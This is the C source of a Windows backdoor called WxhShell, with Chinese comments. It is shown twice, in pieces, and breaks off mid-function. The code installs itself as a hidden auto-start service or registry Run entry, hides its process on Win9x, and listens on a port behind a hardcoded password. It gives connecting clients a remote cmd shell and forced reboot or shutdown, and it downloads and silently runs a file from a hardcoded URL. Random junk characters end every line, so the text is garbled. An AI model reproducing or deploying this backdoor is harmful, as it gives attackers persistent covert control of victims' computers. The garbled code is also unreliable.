    if(Boot(SHUTDOWN)) lF#p1H>\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[SZZV_(tu  
    else { #V-0-n,`  
    closesocket(wsh); B,(zp#&yB  
    ExitThread(0); S{ fFpe-  
    } c( 8>|^M  
    break; 0[In5II  
    } 61pJVOe  
  // 获取shell _Squ%z:D  
  case 's': { b-OniMq~  
    CmdShell(wsh); GX#SCZ&}C  
    closesocket(wsh); y!u=]BE  
    ExitThread(0); J ?^R 1  
    break; 1+ib(MJ<:#  
  } hM "6-60  
  // 退出 R>;m6Rb_  
  case 'x': { AD>X'J u8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zI{~;`tzN  
    CloseIt(wsh); vE{L`,\ q  
    break; PC)aVr?@@  
    } c`O(||UZT  
  // 离开 krMO<(x+  
  case 'q': { Ba#wW E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); chakp!S=  
    closesocket(wsh); Vk:] aveW  
    WSACleanup(); .8dlf7* ,  
    exit(1); "pMx(  
    break; kCHYLv3.  
        } tl"?AQcBR  
  } yOswqhz  
  } Yaix\*II  
l|j}Ggen  
  // 提示信息 yp?a7t M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %DhM}f  
} .C\##   
  } 73kU\ux  
0WI@BSHnM  
  return; $_f"NE}  
} .I%`yhCW  
E+z"m|G  
// shell模块句柄 <44A*ux  
int CmdShell(SOCKET sock) 6%a:^f]  
{ @8eQ|.q]Q  
STARTUPINFO si; *?3c2Jg=E  
ZeroMemory(&si,sizeof(si)); Ku`u%5<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $(fhO   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZG$PW< 73~  
PROCESS_INFORMATION ProcessInfo; u:w   
char cmdline[]="cmd"; Ohn?>qQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "I,=L;p  
  return 0; Xrr3KQaK&  
} f!Mx +ky  
hl$X.O  
// 自身启动模式 ]x5+v0   
int StartFromService(void) Xkp?)x3~X  
{ Sp/<%+2(  
typedef struct F[)5A5+:Y  
{ b6UpE`\z  
  DWORD ExitStatus; 9Q>85IiT  
  DWORD PebBaseAddress; F3e1&aK6{  
  DWORD AffinityMask; {1;R&  
  DWORD BasePriority; p6X-P%s  
  ULONG UniqueProcessId; !:wA\mAd  
  ULONG InheritedFromUniqueProcessId; l05'/duuJ  
}   PROCESS_BASIC_INFORMATION; )skz_a}]8  
BcxALRWE  
PROCNTQSIP NtQueryInformationProcess; "cz'|z`  
n?:%>Os$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * zt?y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H b?0?^#  
bbs'>D3  
  HANDLE             hProcess; :Z&<5  
  PROCESS_BASIC_INFORMATION pbi; ; <l#k7/  
> JV$EY,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YL&)@h  
  if(NULL == hInst ) return 0; Q!y%N&  
`8/D$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nArG I}@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s("\]K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ipC <p?PpR  
vYg>^!Q  
  if (!NtQueryInformationProcess) return 0; n7/>+V+  
Y/ I32@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k}0b7er=R  
  if(!hProcess) return 0; "1Y'VpKm(~  
yT-qT_.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a4&Aw7"X  
CUnBi?Mi  
  CloseHandle(hProcess); hsHbT^Qm  
8Dkq+H93  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,lcS J^yr  
if(hProcess==NULL) return 0; Y?ZzFd,i&  
NXX/JJ+w  
HMODULE hMod; z/,&w_8,:  
char procName[255]; L+8{%\UPd  
unsigned long cbNeeded; *Wf Qi8  
CE@[Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }<^QW't_Y  
"0 $UnR  
  CloseHandle(hProcess); _tRRIW"Vx"  
nJ}@9v F/  
if(strstr(procName,"services")) return 1; // 以服务启动 H[RX~Xk2E  
8a3 EVc  
  return 0; // 注册表启动 Kay\;fXT  
} {fJCj152.  
d7S?"JpV  
// 主模块 &y&HxV  
int StartWxhshell(LPSTR lpCmdLine) r+k g$+%b  
{ [\qclW;L  
  SOCKET wsl; ?I$-im  
BOOL val=TRUE; c2gi 3  
  int port=0; %j@@J\G!  
  struct sockaddr_in door; t:"3M iM=c  
hp`ZmLq/[  
  if(wscfg.ws_autoins) Install(); YQcaWd(  
&z#`Qa3NI  
port=atoi(lpCmdLine); U$ 46=F|  
,KCxNdg^#-  
if(port<=0) port=wscfg.ws_port; 6Ey@)p..E  
waU2C2!w  
  WSADATA data; h[mJ=LIrg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; On|b-  
5z&>NI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^J;rW3#N8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {&J~P&,k  
  door.sin_family = AF_INET; e%EO/ 2"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @nAl*#M*D  
  door.sin_port = htons(port); "W~vSbn7  
S_TD o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X'U~g$"(+  
closesocket(wsl); ]!j%Ad  
return 1; ]T6pH7~  
} v[r 8-0c  
m%=*3gH]&  
  if(listen(wsl,2) == INVALID_SOCKET) { y,/i3^y#_  
closesocket(wsl); ]GO=8$Z  
return 1; l 0U23i  
} 4fL`.n1^  
  Wxhshell(wsl); g^^pPV K_  
  WSACleanup(); VVDW=G  
5M/~ |"xk  
return 0; dI|D c  
!ewT#afyu(  
} t3h){jZ  
Sy' ]fGvx  
// 以NT服务方式启动 %DA&txX}w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o7s!ti\G  
{ kD0bdE|  
DWORD   status = 0; ^qzH(~g{M  
  DWORD   specificError = 0xfffffff; Qj'Ik`o  
9w~SzpJ%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F0~<p[9Nx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &B ]1 VZUp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9VanR ::XX  
  serviceStatus.dwWin32ExitCode     = 0; `ZbFky{  
  serviceStatus.dwServiceSpecificExitCode = 0; 2$ &B@\WY  
  serviceStatus.dwCheckPoint       = 0; QIg'js$W  
  serviceStatus.dwWaitHint       = 0; C T\@>!'f  
7WwE] ^M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b;%t*?t  
  if (hServiceStatusHandle==0) return; lh[?`+A  
Xdw pn+7s  
status = GetLastError(); ,ga6   
  if (status!=NO_ERROR) )_1 GPS  
{ 2WTOu x*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ({Pjz;xM  
    serviceStatus.dwCheckPoint       = 0; tt#dO@G#Fe  
    serviceStatus.dwWaitHint       = 0; 6oKdw|(Q#  
    serviceStatus.dwWin32ExitCode     = status; 'u E;8.,  
    serviceStatus.dwServiceSpecificExitCode = specificError; .T)wG;+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TkJ[N4'0  
    return; #f< v%  
  } aHVzBcCPh  
#y[U2s Se  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YM};85K  
  serviceStatus.dwCheckPoint       = 0; #qh ,  
  serviceStatus.dwWaitHint       = 0; \ H~zN]3^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  vP=68muD  
} O=;jDWE  
J/O{x  
// 处理NT服务事件,比如:启动、停止 +<j7^AEG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UoPY:(?;i  
{ s*s~yH6  
switch(fdwControl) 9Msy=qvYG  
{ z~ywFk}KGd  
case SERVICE_CONTROL_STOP: R|v'+bv  
  serviceStatus.dwWin32ExitCode = 0; H]pI$t3~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yIrJaS-  
  serviceStatus.dwCheckPoint   = 0; ]8}51y8  
  serviceStatus.dwWaitHint     = 0; yu)^s!UY;  
  { AYgXqmH~+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*TC8!n  
  } B\v+C!/f |  
  return; Xl$, f`f~  
case SERVICE_CONTROL_PAUSE: 993f6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :aK?DtZ  
  break; :8!RGtn  
case SERVICE_CONTROL_CONTINUE: 5nUJ9sqA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ml7 (<J  
  break; BHf$ %?3z,  
case SERVICE_CONTROL_INTERROGATE: 7/ ?QZN  
  break; MUAs(M;  
}; ,wwO0,"y7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ps74SoD-  
} An$2='=/  
xC,x_:R`  
// 标准应用程序主函数 bh<;px-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vv45w#w;  
{ !t^DN\\#  
#<S*MGp!=  
// 获取操作系统版本 ;Mup@)!j  
OsIsNt=GetOsVer(); b:D92pH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8.[F3Tk=  
Fq@o_bI  
  // 从命令行安装 B*,)@h  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y.\x.Hg  
$[A\i<#  
  // 下载执行文件 tqZ+2c<W3  
if(wscfg.ws_downexe) { NS~;{d \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DK\XC%~m  
  WinExec(wscfg.ws_filenam,SW_HIDE); \xj;{xc  
} ,-4NSli  
F5Z,Jmi^M  
if(!OsIsNt) { d=PX}o^  
// 如果时win9x,隐藏进程并且设置为注册表启动 _r*\ BM8y  
HideProc(); jYFJk&c  
StartWxhshell(lpCmdLine); \&5V';  
} !Aw^X} C  
else b,E?{uG  
  if(StartFromService()) `o JQA$UD  
  // 以服务方式启动 m{/( 3  
  StartServiceCtrlDispatcher(DispatchTable); %bAQ>E2;m  
else + cfEyiub  
  // 普通方式启动 eF,F<IJT{  
  StartWxhshell(lpCmdLine); MLu!8dgI  
W<r<K=`5P  
return 0; >ESVHPj]  
} #*'Qm  A  
Dz(\ ?  
S^eem_C  
5e /YEDP  
=========================================== x,!Dd  
1)56ec<c  
sD:o 2(G*  
@ph!3<(In,  
kh5a>OX  
~v+kO~  
"  u]P|  
Uj):}xgi'  
#include <stdio.h> l1)~WqhE}  
#include <string.h>  X0VS a{  
#include <windows.h> mdWA5p(  
#include <winsock2.h> V4n~Z+k  
#include <winsvc.h> .eR1\IAm  
#include <urlmon.h> r3l1I}  
P>V oA  
#pragma comment (lib, "Ws2_32.lib") )*~A|[  
#pragma comment (lib, "urlmon.lib") 1f`De`zXzr  
"bm|p/A  
#define MAX_USER   100 // 最大客户端连接数 m2c'r3UEu  
#define BUF_SOCK   200 // sock buffer BDB*>y7(  
#define KEY_BUFF   255 // 输入 buffer ;=Ma+d#  
>fH0>W+!  
#define REBOOT     0   // 重启 Vr1}Zv3K'  
#define SHUTDOWN   1   // 关机 6ZqU:^3  
bj pruJ`=  
#define DEF_PORT   5000 // 监听端口 RdYmh>c  
EtKq.<SJ  
#define REG_LEN     16   // 注册表键长度 w+g29  
#define SVC_LEN     80   // NT服务名长度 y9r4]45  
>}+{;d  
// 从dll定义API fg^AEn1i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #ibwD:{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ]n!V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mu\V3`j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T/_u;My;  
=AIFu\9#a`  
// wxhshell配置信息 Q K]P=pE'C  
struct WSCFG { Vu:ZG*^  
  int ws_port;         // 监听端口 ;W,* B.~  
  char ws_passstr[REG_LEN]; // 口令 [';o -c"!  
  int ws_autoins;       // 安装标记, 1=yes 0=no srVWN:uuH  
  char ws_regname[REG_LEN]; // 注册表键名 sbW+vc  
  char ws_svcname[REG_LEN]; // 服务名 !8H0.u rw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1dQAo1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uUI#^ A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qr.{_M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @d WA1tM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DYf QlA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :_8K8Sa  
g3:@90Ba  
}; GV0\+A"vD  
AxH;psj  
// default Wxhshell configuration _:r8UVAT.  
struct WSCFG wscfg={DEF_PORT, ,:?ibE=  
    "xuhuanlingzhe", J,=K1>8s  
    1, /Q1 b%C  
    "Wxhshell", 7Qd4L.  
    "Wxhshell", dn(!wC]  
            "WxhShell Service", kR<sSLEb  
    "Wrsky Windows CmdShell Service", f 2WVg;Z  
    "Please Input Your Password: ", aTvyz r1  
  1, C'JI%HnQ  
  "http://www.wrsky.com/wxhshell.exe", TO6F  
  "Wxhshell.exe" =XfvPBA  
    }; 8<VDp Y  
!db=Iz5)  
// 消息定义模块 @]Jq28  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E`)e ;^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z",0 $Gxu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1=5"j]0hY  
char *msg_ws_ext="\n\rExit."; +^AdD8U  
char *msg_ws_end="\n\rQuit."; E{,Wp U  
char *msg_ws_boot="\n\rReboot..."; 2*cNd}qr  
char *msg_ws_poff="\n\rShutdown..."; q[U pP`Z%  
char *msg_ws_down="\n\rSave to "; vMzL+D2)  
V IzIl\<aM  
char *msg_ws_err="\n\rErr!"; C*YQ{Mz(f  
char *msg_ws_ok="\n\rOK!"; T"g_a|7Tj  
[<@L`ki  
char ExeFile[MAX_PATH]; V^s, 3C  
int nUser = 0; .\b.l@O<Z  
HANDLE handles[MAX_USER]; b `P6Ox3  
int OsIsNt; jJ2rfdfj  
6()Jx%  
SERVICE_STATUS       serviceStatus; !X}+JeU '  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {]IY; cL  
 ,$6si  
// 函数声明 1I2n dt  
int Install(void); C6e5*S  
int Uninstall(void); Ftyxz&-4$p  
int DownloadFile(char *sURL, SOCKET wsh); zZ[kU1Fyv  
int Boot(int flag); `{#""I^_  
void HideProc(void); AF:_&gF  
int GetOsVer(void); 3o rSk  
int Wxhshell(SOCKET wsl); Hcf"u&%  
void TalkWithClient(void *cs); gW~YB2 $  
int CmdShell(SOCKET sock); a!o%x  
int StartFromService(void); rCo}^M4Pb  
int StartWxhshell(LPSTR lpCmdLine); eEqcAUn  
0*MUe1{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w"v96%"Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8(? &=>@  
Jq^[^  
// 数据结构和表定义 M(> 74(}]  
SERVICE_TABLE_ENTRY DispatchTable[] = zw3I(_d[  
{ -c>3|bo  
{wscfg.ws_svcname, NTServiceMain}, ndQw>  
{NULL, NULL} PcsYy]Q/  
}; mU[\//  
;1~n|IY  
// 自我安装 nKE^km  
int Install(void) "/R?XCBZsb  
{ %qV:h#  
  char svExeFile[MAX_PATH]; T$kuv`?  
  HKEY key; FO>?>tK 0  
  strcpy(svExeFile,ExeFile); UR^r>  
DlzL(p@r  
// 如果是win9x系统,修改注册表设为自启动 X}GX6qAdt  
if(!OsIsNt) { rw)!>j+&A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eq_@ xT0>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 Ne;U/  
  RegCloseKey(key); kiF}+,z"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ",~ZO<P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $bhI2%_`M  
  RegCloseKey(key); z^wod  
  return 0; oyiG04H&  
    } n{W(8K6d@[  
  } ,L%]}8EL"  
} M[985bl  
else { c6jVx_tt.  
`"~GqFwy~  
// 如果是NT以上系统,安装为系统服务 |ghyH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KEy8EB  
if (schSCManager!=0) ?jmL4V2-f  
{ hvI#D>Z!Yp  
  SC_HANDLE schService = CreateService 7oC8I D  
  ( SEnr"}  
  schSCManager, }>iNT.Lvd  
  wscfg.ws_svcname, e=##X}4zZ  
  wscfg.ws_svcdisp, $$$[Vn_H<  
  SERVICE_ALL_ACCESS, "7-}#_!g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $mT)<N ;w  
  SERVICE_AUTO_START, /pRv i>_(:  
  SERVICE_ERROR_NORMAL, -I4@6v E,  
  svExeFile, /QB;0PrE  
  NULL, LmY[{.'tX  
  NULL, Swf%WuDj  
  NULL, (<.\v@7HC  
  NULL, QUkP&sz  
  NULL r7R39#  
  ); }x|q*E\  
  if (schService!=0) 9y[U\[H  
  { ;Mmu}  
  CloseServiceHandle(schService); LT)I ?ud  
  CloseServiceHandle(schSCManager); VOYQ<tg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uNEl]Q]<e]  
  strcat(svExeFile,wscfg.ws_svcname); mY=sh{ir  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *|q{(KX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B3yTN6-  
  RegCloseKey(key); GsO(\hR6^  
  return 0; Z6b]EcP)#  
    } D\;5{,:d  
  } g'!"klS93  
  CloseServiceHandle(schSCManager); N*[b 26  
} N=U`BhL_  
} pq_U?_5Z'r  
<^$ppwk $  
return 1; oumbJ7X=L  
} y<HNAG j  
W2%@}IDm  
// 自我卸载  +mft  
int Uninstall(void) q`8 5-  
{ x44V 9-o  
  HKEY key; ,yp#!gE~  
@8w[Zo~  
if(!OsIsNt) { EhKG"Lb+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Mk3cp^Yl  
  RegDeleteValue(key,wscfg.ws_regname); E>/~:  
  RegCloseKey(key); 5MYdLAjV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JPL`/WA 0  
  RegDeleteValue(key,wscfg.ws_regname); 1.N2!:&G|  
  RegCloseKey(key); >Q_ '[!S  
  return 0; 8*Fn02 p  
  } '5Kj "aD%  
} +2tFX  
} # bjK]+  
else { 3_9CREZCl  
FzSL[S4i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Oc,HnyV+  
if (schSCManager!=0) BK)<~I  
{ *Ej;}KSv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0nBDF79  
  if (schService!=0) b)#rUI|O  
  { |Y6;8e`H  
  if(DeleteService(schService)!=0) { MtF^}/0w!`  
  CloseServiceHandle(schService); = [: E  
  CloseServiceHandle(schSCManager); E`xpZ>$mPx  
  return 0; O> _ F   
  } qnQ".  
  CloseServiceHandle(schService); y8C8~-&OK  
  } 'C`Ykjf  
  CloseServiceHandle(schSCManager); 4*o?2P$Q  
} _u;pD-  
} G$KQgUN~[  
hi(e%da  
return 1; [+l6x1Am  
} j(k%w  
KiFTj$w,  
// 从指定url下载文件 E ?bqEW(  
int DownloadFile(char *sURL, SOCKET wsh) l{]KA4  
{ Yv)c\hm(7j  
  HRESULT hr; }/\`'LQ  
char seps[]= "/"; \ntUxPox.  
char *token; [n&ES\o#(  
char *file; Zl'/Mx g  
char myURL[MAX_PATH]; h-O;5.m-P  
char myFILE[MAX_PATH]; _ iDVd2X"H  
R i,_x  
strcpy(myURL,sURL); oa=TlBk<  
  token=strtok(myURL,seps); *_J{_7pwe  
  while(token!=NULL) _<F;&(o  
  { IG\Cj7{K^  
    file=token; aO(iKlZ$  
  token=strtok(NULL,seps); ;; {K##^l  
  } N(yd<M w  
vf#d  
GetCurrentDirectory(MAX_PATH,myFILE); \et2aX !  
strcat(myFILE, "\\"); 0WKS  
strcat(myFILE, file); 4^YE*6z  
  send(wsh,myFILE,strlen(myFILE),0); cX4]ViXSr  
send(wsh,"...",3,0); K1R?Qt,qDF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ")txFe  
  if(hr==S_OK) A n`*![  
return 0; x@/:{B   
else F#) bGi  
return 1; ~#P]NWW%.  
fI<d&5&g  
} ^A=tk!C  
^Z\"d#A  
// 系统电源模块 .p o,.}  
int Boot(int flag) &Ruq8n<  
{ mvTp,^1  
  HANDLE hToken; !J!&JQ|  
  TOKEN_PRIVILEGES tkp; _emW#*V  
h<>yzr3fN  
  if(OsIsNt) { 9;\mq'v%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wD$UShnm9-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =O8>[u;  
    tkp.PrivilegeCount = 1; S-3hLw&?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RjgJIVm(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :?y Ma$  
if(flag==REBOOT) { +?Cy8Ev?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YAeF*vP  
  return 0; );q~TZ[Do  
} .oLV\'HAR  
else { W[j, QU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rev*G:  
  return 0; )cP)HbOd=  
} 4 83rU  
  } 'DpJ#w\81  
  else { q{B?j%.o  
if(flag==REBOOT) { wsH_pF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q~W:W}z  
  return 0; bX:h"6{=R  
} q3h& V  
else { i`+bSg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T,>L  
  return 0; nfGI4ZE  
} kQlwl9  
} %.$7-+:7A  
t&[<Dl/L  
return 1; >nih:5J,ja  
} 9^8OIv?m8  
]b sabS?  
// win9x进程隐藏模块 mK"s*tD  
void HideProc(void) to,\n"$~!  
{ Fzt?M  
Xxd]j]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @@{5]Y  
  if ( hKernel != NULL ) o59$v X,  
  { XG C\6?L~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vDi Opd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q-_!&kDK"  
    FreeLibrary(hKernel); ^->S7[N?  
  } "&4r!2A  
#)]t4wa_W  
return; #RU8 yT  
} m~Q24Z]!'&  
k1zK3I&c_  
// 获取操作系统版本 j4 #uj[A  
int GetOsVer(void) PR$;*|@  
{ ^i!6z2/  
  OSVERSIONINFO winfo; v0E6i!D/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hk h'h"_r  
  GetVersionEx(&winfo); &{+0a[rN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y5+%8#3  
  return 1; {Y Y,{H  
  else 8,!Oup  
  return 0; qz (x  
} :|niFK4  
|Rhqi  
// 客户端句柄模块 ~ ) w4Tq  
int Wxhshell(SOCKET wsl) i 61k  
{ 4:N*C7 P  
  SOCKET wsh; c-Yd> 4+ 1  
  struct sockaddr_in client; CPRVSN0b{4  
  DWORD myID; { $yju_[  
/"j 3B\`?  
  while(nUser<MAX_USER) ;`:YZ+2 Z  
{ 1,bE[_  
  int nSize=sizeof(client); "2sk1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N8#j|yf  
  if(wsh==INVALID_SOCKET) return 1; 51#OlvD  
 +)e|>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y;8&J{dd  
if(handles[nUser]==0) bDtb6hL  
  closesocket(wsh); ,%l}TSs  
else X~JP 1  
  nUser++; foQo`}"5  
  } (4A'$O2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X|eZpIA45  
6:Z8d%Z  
  return 0; KAFR.h:p9  
} ~tW~%]bs2Q  
tB,(12@W  
// 关闭 socket  sTlel&  
void CloseIt(SOCKET wsh) ja';NIO-  
{ B#SVN Lv  
closesocket(wsh); VK1B}5/  
nUser--; z^Ikb(KC  
ExitThread(0); ozRTY9S _;  
} Z CPUNtOl  
fTvm2+.nX  
// 客户端请求句柄 X V;j6g  
void TalkWithClient(void *cs) `a|&aj0  
{ }P fAf  
A&~fw^HM  
  SOCKET wsh=(SOCKET)cs; Op ?"G  
  char pwd[SVC_LEN]; ^sLx3a  
  char cmd[KEY_BUFF]; 8iJB'#''*  
char chr[1]; RK|*yt"f"  
int i,j; lYQ|NL():  
qclc--fsE  
  while (nUser < MAX_USER) { }>0>OqvF  
9T24dofkJ  
if(wscfg.ws_passstr) { sEdz`F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vb6EO[e% I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F1L[3D^-  
  //ZeroMemory(pwd,KEY_BUFF); !!^z6jpvn  
      i=0; 4Qf sxg  
  while(i<SVC_LEN) { t n5  
o" ,8   
  // 设置超时 d)Yl D]I  
  fd_set FdRead; 3 J04 $cD  
  struct timeval TimeOut; }:ZA)  
  FD_ZERO(&FdRead); \{lv~I  
  FD_SET(wsh,&FdRead); Zg(Y$ h\  
  TimeOut.tv_sec=8; v CaN[  
  TimeOut.tv_usec=0; UGhEaKH~R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ][MtG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L#UR>Z#9  
+ZOiL[rS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uD&B{c+a  
  pwd=chr[0]; =W.}&  
  if(chr[0]==0xd || chr[0]==0xa) { ;J5z  
  pwd=0; x^ f)I|t  
  break; ([u|j  
  }  XTJD>  
  i++; |0y#} |/  
    } 2Kz+COP+  
xZ9:9/Vg  
  // 如果是非法用户,关闭 socket FRrp@hE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yS\&2"o  
} \%=\4%:  
NFs5XpZ~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N"ga -u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Y`Y1  
&&X,1/  
while(1) { M`Er&nQs  
b]+F/@h~]  
  ZeroMemory(cmd,KEY_BUFF); Y$r78h=4  
y~ =H`PAE  
      // 自动支持客户端 telnet标准   `um,S  
  j=0; MePD:;mm^  
  while(j<KEY_BUFF) { @yaFN>w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JF .Lo;  
  cmd[j]=chr[0]; c0@8KW[,  
  if(chr[0]==0xa || chr[0]==0xd) { lS.Adl^k  
  cmd[j]=0; c[dzO .~  
  break; ;hX(/T  
  } vjGQ!xF  
  j++; 0Z9DewwP  
    }  Z.6dL  
<=q} Nd\  
  // 下载文件 ' [ 4;QYw  
  if(strstr(cmd,"http://")) { G21o @38e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yp.K-  
  if(DownloadFile(cmd,wsh)) `Z?wj@H1`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<AcW.jx  
  else EiW|+@1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); do}LaUz  
  } IY`p7 )#i  
  else { o%$.8)B9F  
?['!0PF  
    switch(cmd[0]) {  }vd*eexA  
